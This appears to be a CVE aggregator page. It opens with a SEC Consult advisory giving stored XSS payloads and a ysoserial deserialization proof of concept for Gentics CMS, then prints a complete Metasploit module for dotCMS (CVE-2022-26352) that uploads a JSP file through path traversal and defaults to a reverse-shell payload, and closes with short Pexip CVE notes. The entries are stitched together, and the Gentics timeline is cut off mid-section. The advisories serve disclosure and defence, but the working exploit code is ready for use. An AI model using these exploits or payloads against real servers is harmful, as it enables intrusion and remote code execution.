An issue was discovered in Gentics CMS before 5.43.1. There is stored XSS in the profile description and in the username.

Gentics CMS is a solution to design and manage a website. The CMS is vulnerable to two vulnerabilities that lead to stored Cross-Site-Scripting (XSS) as well as Remote Code Execution (RCE) via unsafe deserialization of Java objects.

**Vendor description**

_"APA-IT Informations Technologie GmbH offers offers support with a focus on media solutions and IT-outsourcing. As a subsidiary of APA – Austria Press Agency, we are responsible for the IT of the Austrian news agency as well as numerous other media enterprises._

_This expertise and insight into the industry make APA-IT an expert for IT solutions for publishers and media-related companies. Existing systems and tools are constantly developed and tailored to individual customer needs. As such, APA-IT is always available – from conception to operation."_ 

Source: https://www.gentics.com/genticscms/company\_gentics.en.html

**Business recommendation**

The vendor provides a patch which should be installed immediately. 

SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues. 

**Vulnerability overview/description****1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982) **

Multiple cross-site scripting vulnerabilities are present in the application. An attacker can store malicious JavaScript code in the username and profile description. The code will execute once an admin user hovers over the attacker's username. Thus, the attacker can execute code in the context of an admin. 

**2) Unsafe Java Deserialization (CVE-2022-30981) **

The Gentics CMS has an import option which will accept ZIP files. The archive includes a Java serialized object that gets deserialized on import. This can lead to code execution on the server. 

A low privileged user might be able to exploit this vulnerability by chaining it together with vulnerability 1). 

**Proof of concept****1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982) **

To trigger the first XSS, an attacker has to change the profile description to include a payload, e.g. **"<script>alert(document.domain)</script)".** The payload will execute once a user with access to the userlist hovers his mouse over the profile name. The event "onmouseover" will trigger following code: 

    JSI3_comp_list_401__ass( this, 'Properties', '<b>Malicious User Name</b><br> 
    <script>alert(document.domain)</script><br><br>created:<br> 09/20/2002  
    ( Gentics Support)<br>last edited:<br>15:56 (Malicious Username)', '' ); 

The execution of the code leads to following function: 

    function JSI3_comp_list_401__ass( obj, title, text, assTitle ) 
    { 
    JSI3_comp_list_401__assReset(); 
    clearTimeout( JSI3_comp_list_401___ass_timeout ); 
    JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ); 
    } 

The malicious code, which is contained in the "text" parameter, gets passed through to the next function. There it is added to an HTML element and thus executed in the browser. 

    function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) { 
             if (!JSI3_comp_list_401__ass_show_row_tipsy[obj.id]) { 
                 JSI3_comp_list_401__ass_show_row_tipsy[obj.id] = true; 
                 $(obj).attr('title', '<h6>'+title+'</h6>'+text+((assTitle)?'<br>'+assTitle:'')); 
                 $(obj).tipsy({ 
                         trigger: 'manual', 
                         html: true, 
                         offset: 3, 
                         delayIn: 900, 
                         delayOut: 0, 
                         opacity: 0.85, 
                         gravity: 'nww' 
                  }); 
              } 
              $(obj).tipsy("show"); 
              gcn_active_tipsy = obj; 
    } 

Another XSS vector can be found in the parameters "First Name" and "Last Name". 

By e.g. changing the last name to 'Node" onload="alert(document.domain)',  JavaScript code is added to the profile picture that is loaded in the upper right corner on every page. The following snippet shows the vulnerable line of code: 

    <div id="profil"> 
    <div><img src="?do=11&module=system&img=profile_man.png" title="Admin Node" onload="alert(document.domain)" class="profile_avatar"></div> 

The third XSS is caused by changing the first and last name into JavaScript code without prior encoding. Changing the last name to "Last Name'+eval(alert(document.domain))+'" will cause the following code to be included in the server's response: 

    <script language="JavaScript" type="text/javascript"> 
    var menus = new Array(); 
    var imgs = new Array(); 
    menus['Admin Last Name'+eval(alert(document.domain))+''] = new Array(); 
    menus['Admin Last Name'+eval(alert(document.domain))+'']['layer_pos'] = 1; 
    menus['Admin Last Name'+eval(alert(document.domain))+'']['align'] = 'r';

**2) Unsafe Java Deserialization (CVE-2022-30981) **

First, a malicious ZIP archive needs to be created. The following files will need to be included within this archive: 

    bundlebuild.xml:
    
    <?xml version="1.0" encoding="UTF-8"?>
    <bundlebuild>
            <bundleinfo>
                  <name><![CDATA[test4]]></name>
                  <sourcehost><![CDATA[b1d80757b76c]]></sourcehost>
                  <description><![CDATA[]]></description>
                  <globalid>9d6243ab-a281-11eb-9ae3-0242ac130004</globalid>
                  <globalprefix>D77D</globalprefix>
             </bundleinfo>
             <builds>
                     <build>
                           <builddate>1618996405</builddate>
                           <changelog><![CDATA[test4]]></changelog>
                           <count>0</count>
                     </build>
              </builds>
              <tables>
              </tables>
    </bundlebuild>
    
    containedobjects.xml:
    
    <?xml version="1.0" encoding="UTF-8"?>
    <objects>
    </objects>

The third file has to be named "serializedjava.bin" and contains the actual payload. A demo payload can be generated with following command: 

    $ ysoserial FileUpload1 'write;/tmp;SECTEST' > serializedjava.bin 

Those three files have to be zipped together into an archive, which can be uploaded. 

The import feature is available under Enterprise CMS -> Administration -> Import and Export. Now select New->Import and upload the malicious ZIP archive. 

Wait until the import completed. Now click on "Test succeeded" in the file list. On the new screen select "Start import in background". The payload should create a file called "upload\_<random\_uuid>.tmp" in the folder /tmp. It will contain the string "SECTEST".  

Better deserialization chains could be built to reach more interesting targets. It is very likely, that RCE could be obtained by writing an own deserialization chain. 

**Vulnerable / tested versions**

The following product version has been tested and found to be vulnerable. Other versions are vulnerable as well, please see the vendor's changelog in the solution section. 

*   Gentics CMS 5.36.29

**Vendor contact timeline**

CVE-2022-30982: Multiple vulnerabilies in Gentics CMS

Pexip Infinity before 28.1 allows remote attackers to trigger a software abort via G.719.

CVE-2022-32263: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27 before 28.0 allows remote attackers to trigger excessive resource consumption and termination because of registrar resource mishandling.

CVE-2022-29286: Pexip security bulletins | Pexip Infinity Docs

An issue was discovered in the ContentResource API in dotCMS 3.0 through 22.02. Attackers can craft a multipart form request to post a file whose filename is not initially sanitized. This allows directory traversal, in which the file is saved outside of the intended storage location. If anonymous content creation is enabled, this allows an unauthenticated attacker to upload an executable file, such as a .jsp file, that can lead to remote code execution.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'DotCMS RCE via Arbitrary File Upload.',        'Description' => %q{          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the filename          passed in via the multipart request header and thus does not sanitize the temp file's name.  This allows a          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that get          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a special          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.        },        'Author' => [          'Shubham Shah',  # Discovery and analysis          'Hussein Daher', # Discovery and analysis          'jheysel-r7'     # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-26352'],          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']        ],        'Privileged' => false,        'Platform' => %w[linux win],        'Targets' => [          [            'Java Linux',            {              'Arch' => ARCH_JAVA,              'Platform' => 'linux'            }          ],          [            'Java Windows',            {              'Arch' => ARCH_JAVA,              'Platform' => 'win'            }          ]        ],        'DisclosureDate' => '2022-05-03',        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options([      Opt::RPORT(8443),      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    test_content = Rex::Text.rand_text_alpha(10)    test_file = "#{test_content}.jsp"    test_path = "../../#{test_file}"    uuid = Faker::Internet.uuid    jsp = <<~EOS      <%@ page import=\"java.io.File\" %>      <%        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");        jsp.delete();      %>      #{uuid}    EOS    vars_form_data = [      {        'name' => 'name',        'data' => jsp,        'encoding' => nil,        'filename' => test_path,        'mime_type' => 'text/plain'      }    ]    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/api/content/'),      'vars_form_data' => vars_form_data    )    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, test_file.to_s)    )    if res && res.body.include?(uuid)      return Exploit::CheckCode::Vulnerable    end    Exploit::CheckCode::Safe  end  def write_jsp_payload    jsp_path = "../../#{jsp_filename}"    print_status('Writing JSP payload')    vars_form_data = [      {        'name' => 'name',        'data' => payload.encoded,        'encoding' => nil,        'filename' => jsp_path,        'mime_type' => 'text/plain'      }    ]    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/api/content/'),      'vars_form_data' => vars_form_data    )    unless res&.code == 500      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')    end    register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")    print_good('Successfully wrote JSP payload')  end  def execute_jsp_payload    jsp_uri = normalize_uri(target_uri.path, jsp_filename)    print_status('Executing JSP payload')    res = send_request_cgi(      'method' => 'GET',      'uri' => jsp_uri    )    unless res&.code == 200      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')    end    print_good('Successfully executed JSP payload')  end  def exploit    write_jsp_payload    execute_jsp_payload  end  def jsp_filename    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"  endend

CVE-2022-26352: dotCMS Shell Upload ≈ Packet Storm

Pexip Infinity 27.x before 27.3 allows remote attackers to trigger a software abort via the Session Initiation Protocol.

CVE-2022-27928: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.2 has Improper Access Control. An attacker can sometimes join a conference (call join) if it has a lock but not a PIN.

CVE-2022-25357: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via HTTP.

CVE-2022-27934: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.3 allows remote attackers to trigger a software abort via HTTP.

CVE-2022-27929: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to force a software abort via HTTP.

CVE-2022-26654: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via Epic Telehealth.

Tag

#rce